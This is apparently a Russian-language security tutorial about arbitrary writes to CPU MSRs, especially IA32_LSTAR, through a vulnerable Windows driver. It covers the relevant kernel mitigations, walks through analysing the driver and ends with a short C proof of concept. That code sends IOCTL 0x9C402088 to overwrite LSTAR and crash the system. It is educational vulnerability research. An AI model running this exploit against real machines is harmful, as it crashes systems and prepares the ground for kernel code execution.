Уязвимости манипуляции MSR: полный контроль? Обзор эксплуатации на примере уязвимого драйвера.
1. Введение
В этой статье мы рассмотрим механизмы эксплуатации произвольной записи вModel-specific registers (MSR) процессора, а именно в IA32_LSTAR. Эксплуатация уязвимостей, приводящих к неконтролируемой записи в MSR регистры позволяет перехватить системные вызовы (syscall) и получить контроль над ядром. Для начала обсудим, что такое MSR-регистры, затем, как происходит процесс перехода от пользовательского кода к коду ядра, затронем подход к анализу уязвимых драйверов, а также механизмы защиты, такие как SMEP, SMAP, KVAS, KPTI и KPP.
2. MSR регистры
Model-specific registers (MSR) — это специальные регистры процессора, которые можно представить как «глобальные переменные» CPU. Они предназначены для низкоуровневой работы с процессором и могут меняться в зависимости от конкретной модели.Например, MSR могут использоваться для управления энергопотреблением и частотой, для получения информации о производительности процессора и работы с другими аппаратными функциями, а также для хранения важной системной информации, необходимой для корректной работы всей системы. Для взаимодействия с MSR используются привилегированные инструкции rdmsr (чтение) и wrmsr (запись). Эти инструкции — привилегированные, то есть доступны только в режиме ядра, поскольку доступ к MSR и изменение хранящихся там значений может привести в первую очередь к нестабильности системы. Программам, работающим в пользовательском режиме нет необходимости напрямую взаимодействовать с ними.
Инструкция wrmsr (Write to Model Specific Register) записывает значение в MSR. Она использует регистр ECX для указания адреса MSR, а регистры EDX:EAX содержат 64-битное значение для записи. На 64-битных архитектурах старшие 32 бита регистров RDX, RAX и RCX игнорируются. Инструкция rdmsr (Read from Model Specific Register) читает значение из MSR. Она также использует регистр ECX для указания адреса MSR и помещает прочитанное 64-битное значение в регистры EDX:EAX. На 64-битных архитектурах старшие 32 бита RCX игнорируются, а старшие 32 бита RDX и RAX обнуляются.
В статье мы будем обсуждать один из этих регистров — IA32_LSTAR поскольку в большинстве случаев переход из пользовательского режима в режим ядра происходит через него. Вообще, в контексте системных вызовов существуют следующие MSR:
- IA32_STAR (System Target Address Register, 0xC0000081): Этот регистр используется в 32-битных системах для хранения адреса обработчика системного вызова и сегментного селектора.
- IA32_LSTAR (Long System Target Address Register, 0xC0000082): В 64-битной системе этот MSR определяет адрес обработчика системного вызова, который вызывается инструкцией syscall. Когда процессор выполняет syscall, он переходит в режим ядра и начинает выполнение по адресу, сохраненному в IA32_LSTAR.
- IA32_CSTAR (Compatibility System Target Address Register, 0xC0000083): Используется в режиме совместимости в 64-битных системах при использовании 32-битного кода, аналогично IA32_LSTAR для syscall. Он задает адрес обработчика системного вызова в этом режиме.
- IA32_SYSENTER_CS (System Enter Code Segment, 0×00000174): Этот MSR задает код сегмента, в который переходит процессор при выполнении инструкции sysenter.
- IA32_SYSENTER_ESP (System Enter Stack Pointer, 0×00000175): Определяет адрес стека, который используется при выполнении инструкции sysenter после перехода в ядро.
- IA32_SYSENTER_EIP (System Enter Instruction Pointer, 0×00000176): Определяет адрес, на который переходит процессор после выполнения инструкции sysenter. Аналогичен по назначению регистру IA32_LSTAR.
Важно уточнить, что разные MSR могут относиться к разным пространствам: процессора и потока. MSR-регистры, относящиеся к пространству потока, будут иметь свое значение для каждого потока, в то время как MSR-регистры процессора (одним из которых является LSTAR) будут иметь одно значение для всех потоков, выполняющихся на одном физическом ядре процессора. Из-за этого если процессор перенесет поток выполнения кода, эксплуатирующего уязвимость, на другое физическое ядро, то это, вероятнее всего, приведет к сбою системы.
3. Защита процесса перехода от пользовательского кода к коду ядра.
Теперь нам нужно понять, какой путь проделывает система при вызове системных вызовов (инструкция syscall). Если кратко, то когда программе необходимо выполнить какую-нибудь привилегированную операцию, например чтение информации с диска, она использует специальную инструкцию процессора — syscall (или sysenter в 32-битных системах). При выполнении этой инструкции процессор берет адрес из IA32_LSTAR и переходит по нему в режим ядра. На современных Windows системах, этот регистр должен указывать на функцию KiSystemCall64() или KiSystemCall64Shadow() в модуле ntoskrnl.exe, которая является обработчиком системных вызовов. После выполнения необходимых операций с помощью инструкции sysret выполнение передается обратно в пространство пользователя на инструкцию, следующую за syscall.

Таким образом, если перезаписать содержимое LSTAR на адрес шеллкода, то это должно позволить свободно выполнять код на уровне ядра. Когда-то это было действительно так, но сейчас этому препятствует несколько механизмов защиты.
3.1 KVAS или KPTI
Kernel Virtual Address Shadow (KVAS) — механизм для противодействия уязвимости Meltdown, внедренная в Windows (в Linux известна как Kernel Page-Table Isolation (KPTI)). Для трансляции физических адресов в виртуальные используются таблицы страниц. В структуре KPROCESS каждого процесса находится DirectoryTableBase, который содержит страницы пространства ядра и пространства пользователя. В системе с включенным KVAS в структуру KPROCESS добавляется UserDirectoryTableBase, в котором находятся только страницы пространства пользователя.
Таким образом реализуется, что код, выполняемый в пространстве пользователя не может получить доступ к страницам памяти ядра. За исключением раздела .KVASCODE. Однако такое разделение на 2 таблицы страниц реализуется только в непривилегированных процессах, тогда как в процессах, запущенных от администратора используется только DirectoryTableBase. До появления KVAS в MSR LSTAR хранился адрес KiSystemCall64(), в настоящее время в него записывается адрес KiSystemCall64Shadow() , который находится в разделе .KVASCODE модуля ntoskrnl.exe.

Первой инструкцией в KiSystemCall64Shadow() является swapgs, которая обменивает текущее значение регистра GS. Так как в пользовательском режиме регистр GS указывает на структуру TEB (Thread Environment Block), а в режиме ядра — на структуру KPCR (Kernel Processor Control Region).

После замены значения в регистре GS, KiSystemCall64Shadow() проверяет, включен ли KVAS для текущего процесса. Если да, то регистр CR3, содержащий адрес таблицы страниц, переключается на DirectoryTableBase (также перед sysret, при включенном KVAS восстанавливает исходное значение CR3). После выполнения всех подготовительных действий, KiSystemCall64Shadow() передает управление в KiSystemServiceUser(), которая является частью оригинальной функции KiSystemCall64(). Таким образом KiSystemCall64Shadow() занимается лишь начальной частью обработки системного вызова, а затем управление переходит в общую точку входа.
3.2 SMEP и SMAP
SMEP (Supervisor Mode Execution Prevention) — это механизм защиты, который предотвращает выполнение кода, расположенного в пользовательском адресном пространстве, в то время, когда код выполняется в режиме ядра. В каком-то смысле SMEP является аналогом DEP (Data Execution Prevention), и, также как DEP, его можно обойти используя Return-Oriented Programming (ROP, возвратно-ориентированное программирование). Однако набор ROP-gadget должны быть из пространства ядра. SMAP (Supervisor Mode Access Prevention) — это механизм защиты, похожий на SMEP, но запрещающий доступ к пользовательской памяти из режима ядра. То есть, SMAP защищает данные, находящиеся в пользовательской памяти от чтения и изменения из режима ядра. На первый взгляд кажется, что особых трудностей это не вызывает, но... Это значит, что вся цепочка ROP-gadget должна находится в стеке ядра, так как пользовательский стек находится в пространстве пользователя.
Состояние SMEP и SMAP управляется флагами в регистре CR4.

В некоторых случаях, когда необходимо скопировать данные из пользовательского режима в режим ядра или наоборот, существует возможность временно отключить SMAP. Для этого необходимо выполнить инструкции clac (clear AC), stac (set AC), которые сбрасывают или выставляют значение бита AC (Alignment check) в регистре флагов EFLAGS, тем самым контролируя работу SMAP.
3.3 KPP (Kernel Patch Protection)
KPP (Kernel Patch Protection), также известный как PatchGuard — это механизм защиты, разработанный компанией Microsoft и используемый в операционных системах Windows. Его основная цель заключается в обнаружении и предотвращении несанкционированных изменений кода и структур данных ядра.
KPP периодически выполняет проверку целостности критически важных системных структур и кода ядра. Он использует кэшированные копии и контрольные суммы этих структур для проверки их целостности. Проверка выполняется в случайно (обычно раз в несколько минут). И если KPP обнаруживает какие-либо несанкционированные изменения, это означает, что кто-то пытается модифицировать ядро, и система немедленно уходит в BSOD и перезагружается. Это значит, что код, эксплуатирующий уязвимость в режиме ядра, должен отработать как можно быстрее и после должен будет восстановить оригинальное значение IA32_LSTAR, а также другие измененные структуры ядра, если они были затронуты. Если не сделать это вовремя, KPP обнаружит эти изменения и вызовет BSOD.
4. Анализ вредоносного драйвера
Тема анализа и поиска уязвимостей в драйверах слишком обширная, чтобы уместиться в одной статье, скорее для нее нужен отдельный цикл достаточно объемных статей. Здесь мы постараемся кратко описать подход к статическому анализу на примере уязвимого драйвера.
4.1. Загрузка драйвера в IDA Pro \ Ghidra
Первым шагом является загрузка файла драйвера в дизассемблер. После загрузки IDA автоматически определит точку входа драйвера — функцию DriverEntry, которая вызывается при инициализации драйвера.
4.2. Анализ функции DriverEntry
Функция DriverEntry отвечает за инициализацию ресурсов драйвера: создание устройств (Device), символических ссылок и инициализацию обработчиков запросов (dispatch routines). Для взаимодействия с драйвером из пользовательского пространства используются специально созданные устройства и ссылки (Symlink).
- IoCreateDevice() создает устройство: «\Device\VulnerableDevice»
- IoCreateSymbolicLink() создает символическую ссылку: «\.\VulnerableDevice»

4.3. Поиск MajorFunctions
Драйвер может получать данные от пользователя с помощью использования разных WinAPI. Для таких API как WriteFile, ReadFile и DeviceIoControl драйвер предоставляет свою функцию — обработчик. Адреса этих функций помещаются в массив MajorFunctions в структуре DriverObject под соответствующим индексом.

Основной вектор атаки на драйвер — передача произвольных IOCTL (Input/Output Control) кодов из пользовательского пространства, обработчик для IOCTL записывается в индекс IRP_MJ_DEVICE_CONTROL.
4.4. Анализ функции DEVICE_CONTROL и определение IOCTL.
Функция, предназначенная для обработки IOCTL, представляет собой (в небольшом упрощении) конструкцию switch-case, где каждому IOCTL соответствует функция, которая будет выполнять какие-то действия. В самом начале функции драйверу необходимо извлечь сам IOCTL из IRP->Parameters.DeviceIoControl.IoControlCode

4.5. Поиск инструкции wrmsr и анализ ограничений.
Далее необходимо найти место в коде, в котором вызывается инструкция wrmsr.

Hex-Rays представляет эту функцию так:

Теперь необходимо проанализировать, есть ли какие-то ограничения на значения, которые передаются в wrmsr. В данном драйвере в функцию передаются значения напрямую от пользовательского запроса.

Таким образом, драйвер не контролирует значения, которые передаются в инструкцию wrmsr, что приводит к неконтролируемой записи в MSR.
5. PoC
Напишем небольшой PoC для этого драйвера. Для начала инициализируем входной буфер, в него необходимо поместить адрес LSTAR и значение, которое будет записано. Исходя из проанализированного драйвера — первые 4 байта — адрес MSR, следующие 8 — значение.
int main() { unsigned char inputData[] { 0x82, 0x00, 0x00, 0xC0, //little-endian IA32_LSTAR 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
После чего необходимо с помощью CreateFile получить дескриптор к устройству, которое зарегистрировал драйвер.
printf("Start exploitation\n"); printf("...Try to open Device\n"); HANDLE deviceHandle = CreateFileW(L"\\\\.\\VulnerableDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (deviceHandle == INVALID_HANDLE_VALUE) { printf("[-] Error:%x", GetLastError()); exit(1); } printf("[+] Device opened\n");
Необходимый код IOCTL, который ведет к инструкции wrmsr в данном драйвере — это 0×9C402088, воспользуемся DeviceIoControl для отправки кода IOCTL и пользовательского буфера в драйвер.
printf("...Try to send IOCTL\n"); BOOL ioctlResult = DeviceIoControl(deviceHandle, 0x9C402088, &inputData, sizeof(inputData), NULL, NULL, NULL, NULL); if (!ioctlResult) { printf("[-]Error:%x", GetLastError()); exit(1); } printf("[+] IOCTL sent\n"); return 0; }
Запустим коди посмотрим, какие значения будут содержать регистры перед выполнением wrmsr.
Как мы отметили ранее, при выполнении wrmsr, адрес MSR записывается в ECX (старшие 32 бита обнуляются), а значение в EDX:EAX (старшие 32 бита обнуляются).

После исполнения инструкции wrmsr проверим значение IA32_LSTAR:

Конечно, в итоге такой манипуляции система аварийно завершается с кодом, который указывает на то что ядро не смогло найти соответствующий адресу IA32_LSTAR обработчик системных вызовов (UNEXPECTED_KERNEL_MODE_TRAP):

6. Вывод
Таким образом, если драйвер имеет функционал записи значений в MSR-регистры, при этом адреса регистров напрямую берутся из пользовательского IRP-запроса без каких-либо ограничений и проверок, то возникает уязвимость, которую очень легко проэксплуатировать для аварийного завершения системы. А в случае успешного обхода таких механизмов защиты как KVAS, SMAP, SMEP и KPP, эксплуатация данной уязвимости позволит выполнить произвольный код от имени ядра.